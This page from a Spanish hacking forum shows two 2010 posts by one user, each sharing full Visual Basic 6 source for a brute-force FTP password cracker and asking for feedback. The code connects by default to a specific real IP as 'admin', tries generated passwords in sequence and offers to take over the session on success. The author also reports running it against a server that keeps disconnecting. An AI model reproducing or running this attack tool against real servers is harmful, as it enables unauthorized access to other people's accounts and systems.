elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: (TUTORIAL) Aprende a emular Sentinel Dongle By Yapis


  Mostrar Mensajes
Páginas: 1 ... 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 [137]
1361  Programación / Programación Visual Basic / FTP CRACKER en: 4 Agosto 2010, 17:23 pm
HOLA!!!

Hola amigos, estaba sin nada que hacer y me puse a programar un CRACKEADOR FTP por fuerza bruta en VB6, me puse a hacerlo por que no vi nada por la web :P, quisiera saber su opinion.

Bueno consiste en un form con:
  • Un textbox multilinea con scroll llamado inx
  • Un textbox normal llamado outx
  • Un timer llamado state
  • Un winsock llamado telnet

un FORM con Código:


Código
  1. Public CT As Integer
  2. Public FAILED As String
  3. Public ACUSER As String
  4. Public USER As String
  5. Public CONTROL As Integer
  6.  
  7. Private Sub Form_Load()
  8.     CONTROL = vbNo
  9.     Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  10.     Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  11.     FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  12.     ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  13.     USER = InputBox("USUARIO", "INSERTE", "admin")
  14.     Call BORRAR_VECTOR
  15.     Call CONECTAR_TELNET
  16.     STATE.Interval = 1000
  17. End Sub
  18.  
  19. Private Sub CONECTAR_TELNET()
  20.  Telnet.Connect
  21.  CT = 0
  22. End Sub
  23.  
  24. Private Sub Form_Resize()
  25.     If Me.Height > 701 Then
  26.         inx.Width = Me.Width
  27.         inx.Height = Me.Height - 700
  28.         outx.Width = Me.Width
  29.         outx.Top = inx.Height
  30.     End If
  31. End Sub
  32.  
  33. Private Sub Form_Unload(Cancel As Integer)
  34.     Telnet.Close
  35.     End
  36. End Sub
  37.  
  38. Private Sub STATE_Timer()
  39.     If Telnet.STATE <> 7 Then
  40.         If Telnet.STATE <> 0 Then
  41.             Telnet.Close
  42.         End If
  43.         Call CONECTAR_TELNET
  44.     End If
  45. End Sub
  46.  
  47. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  48.     Dim strData As String
  49.     Telnet.GetData strData
  50.     inx.Text = inx.Text & strData
  51.     If CONTROL = vbNo Then
  52.         Call ANALIZAR(Mid(strData, 1, 3))
  53.     End If
  54.     If CT Mod 2 Then
  55.         Call NUEVAPASS
  56.             outx.Text = "pass " & PASS
  57.             Call outx_KeyPress(vbKeyReturn)
  58.             Else
  59.             outx.Text = "user " & USER
  60.             Call outx_KeyPress(vbKeyReturn)
  61.     End If
  62. End Sub
  63.  
  64. Private Sub outx_KeyPress(KeyAscii As Integer)
  65.     If KeyAscii = vbKeyReturn Then
  66.         Telnet.SendData outx.Text & vbCrLf
  67.         outx.Text = ""
  68.         outx.SetFocus
  69.     End If
  70. End Sub
  71.  
  72. Private Sub ANALIZAR(CODE As String)
  73.     CT = CT + 1
  74.     If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  75.         CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  76.     End If
  77. End Sub
  78.  






Y un MODULO con Código:

Código
  1. Dim PASSNUM(17) As Integer
  2. Dim PASSLET(17) As String
  3. Public PASS As String
  4.  
  5. Public Sub BORRAR_VECTOR()
  6.     PASSNUM(1) = 47
  7.     For X = 2 To 16
  8.         PASSNUM(X) = 0
  9.     Next X
  10. End Sub
  11.  
  12. Public Sub NUEVAPASS()
  13.     PASSNUM(1) = PASSNUM(1) + 1
  14.     Call ORDENAR
  15.     Call CONVERTIR
  16.     Call CONCATENAR
  17. End Sub
  18.  
  19. Private Sub ORDENAR()
  20.     For X = 1 To 16
  21.         If PASSNUM(X) = 124 Then
  22.             If PASSNUM(X + 1) = 0 Then
  23.                 PASSNUM(X + 1) = 47
  24.             End If
  25.             PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  26.         End If
  27.     Next X
  28.     If PASSNUM(17) = 1 Then
  29.         MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  30.         End
  31.     End If
  32. End Sub
  33.  
  34. Private Sub CONVERTIR()
  35.     For X = 1 To 16
  36.         If PASSNUM(X) <> 0 Then
  37.             PASSLET(X) = Chr(PASSNUM(X))
  38.         End If
  39.     Next X
  40. End Sub
  41.  
  42. Private Sub CONCATENAR()
  43.     PASS = ""
  44.     For X = 1 To 16
  45.         PASS = PASS & PASSLET(X)
  46.     Next X
  47. End Sub
  48.  



Díganme que les parece!
Y den opiniones para mejorarlo!




***************GRACIAS***************
1362  Programación / Programación Visual Basic / FTP CRACKER ME LO REVISAN? en: 3 Agosto 2010, 16:01 pm
HOLA!!!
Como andan, quisiera que me revisaran el codigo de un FTP CRACKER por medio de un winSOCK(telnet) que hice recien  .
El proyecto a mi parecer esta completo, consiste en un proyecto (disculpen la redundancia) con el componente winsock, un form y un modulo bas normal.

Dentro del form hay:
1 textbox multilinea llamado INx
1 texbox normal llamado OUTx
1 winsock llamado TELNET

les dejo aca el codigo que uso:

FORM:

Código
  1. Public CT As Integer
  2. Public FAILED As String
  3. Public ACUSER As String
  4. Public USER As String
  5. Public CONTROL As Integer
  6.  
  7. Private Sub Form_Load()
  8.     CONTROL = vbNo
  9.     Telnet.RemoteHost = InputBox("HOST", "INSERTE", "173.236.40.122")
  10.     Telnet.RemotePort = InputBox("PUERTO", "INSERTE", 21)
  11.     FAILED = InputBox("CODIGO DE CONTRASEÑA INVALIDA", "INSERTE", 530)
  12.     ACUSER = InputBox("CODIGO DE USUARIO ACEPTADO", "INSERTE", 331)
  13.     USER = InputBox("USUARIO", "INSERTE", "admin")
  14.     Call BORRAR_VECTOR
  15.     Telnet.Connect
  16. End Sub
  17.  
  18. Private Sub Form_Resize()
  19.     If Me.Height > 701 Then
  20.         inx.Width = Me.Width
  21.         inx.Height = Me.Height - 700
  22.         outx.Width = Me.Width
  23.         outx.Top = inx.Height
  24.     End If
  25. End Sub
  26.  
  27. Private Sub Form_Unload(Cancel As Integer)
  28.     Telnet.Close
  29.     End
  30. End Sub
  31.  
  32. Private Sub telnet_DataArrival(ByVal bytesTotal As Long)
  33.     Dim strData As String
  34.     Telnet.GetData strData
  35.     inx.Text = inx.Text & strData
  36.     If CONTROL = vbNo Then
  37.         Call ANALIZAR(Mid(strData, 1, 3))
  38.     End If
  39.  
  40.     If CT Mod 2 Then
  41.         Call NUEVAPASS
  42.             outx.Text = "pass " & PASS
  43.             Call outx_KeyPress(vbKeyReturn)
  44.         Else
  45.             outx.Text = "user " & USER
  46.             Call outx_KeyPress(vbKeyReturn)
  47.     End If
  48. End Sub
  49.  
  50. Private Sub outx_KeyPress(KeyAscii As Integer)
  51.     If KeyAscii = vbKeyReturn Then
  52.         Telnet.SendData outx.Text & vbCrLf
  53.         outx.Text = ""
  54.         outx.SetFocus
  55.     End If
  56. End Sub
  57.  
  58. Private Sub ANALIZAR(CODE As String)
  59.     CT = CT + 1
  60.     If Not (CODE = ACUSER Or CT = 1 Or CODE = FAILED) Then
  61.         CONTROL = MsgBox("CODIGO EXTRAÑO(" & CODE & ") CON PASSWORD ''" & PASS & "'' DESEA TOMAR EL CONTROL DE LA TERMINAL (SI) O DESEA QUE CONTINUE EL ATAQUE DE FUERZA BRUTA (NO)", vbYesNo)
  62.     End If
  63. End Sub
  64.  
.

MODULO:

Código
  1. Dim PASSNUM(17) As Integer
  2. Dim PASSLET(17) As String
  3. Public PASS As String
  4.  
  5. Public Sub BORRAR_VECTOR()
  6.     PASSNUM(1) = 47
  7.     For X = 2 To 16
  8.         PASSNUM(X) = 0
  9.     Next X
  10. End Sub
  11.  
  12. Public Sub NUEVAPASS()
  13.     PASSNUM(1) = PASSNUM(1) + 1
  14.     Call ORDENAR
  15.     Call CONVERTIR
  16.     Call CONCATENAR
  17. End Sub
  18.  
  19. Private Sub ORDENAR()
  20.     For X = 1 To 16
  21.         If PASSNUM(X) = 124 Then
  22.             If PASSNUM(X + 1) = 0 Then
  23.                 PASSNUM(X + 1) = 47
  24.             End If
  25.             PASSNUM(X + 1) = PASSNUM(X + 1) + 1
  26.         End If
  27.     Next X
  28.     If PASSNUM(17) = 1 Then
  29.         MsgBox "TODAS LAS CLAVES PROBADAS", , "ERROR"
  30.         End
  31.     End If
  32. End Sub
  33.  
  34. Private Sub CONVERTIR()
  35.     For X = 1 To 16
  36.         If PASSNUM(X) <> 0 Then
  37.             PASSLET(X) = Chr(PASSNUM(X))
  38.         End If
  39.     Next X
  40. End Sub
  41.  
  42. Private Sub CONCATENAR()
  43.     PASS = ""
  44.     For X = 1 To 16
  45.         PASS = PASS & PASSLET(X)
  46.     Next X
  47. End Sub
  48.  


Si quieren usar algo del codigo no hay problema, pero igual es muy rudimentario.(VB6 obvio).

El problema principal es que bueno, tardaria mucho pero en fin, es fuerza bruta y, aparte el servidor se dosconecta aleatoriamente entre el 3 y el 5 intento, y no avisa la desconeccion, entonces no puedo hacer una reconeccion.


P.D: Si ven que no tiene futuro lo que hago avisenme y denme una pequeña guia asi sigo ;) gracias.

***************GRACIAS DE ANTEMANO***************
Páginas: 1 ... 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 [137]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines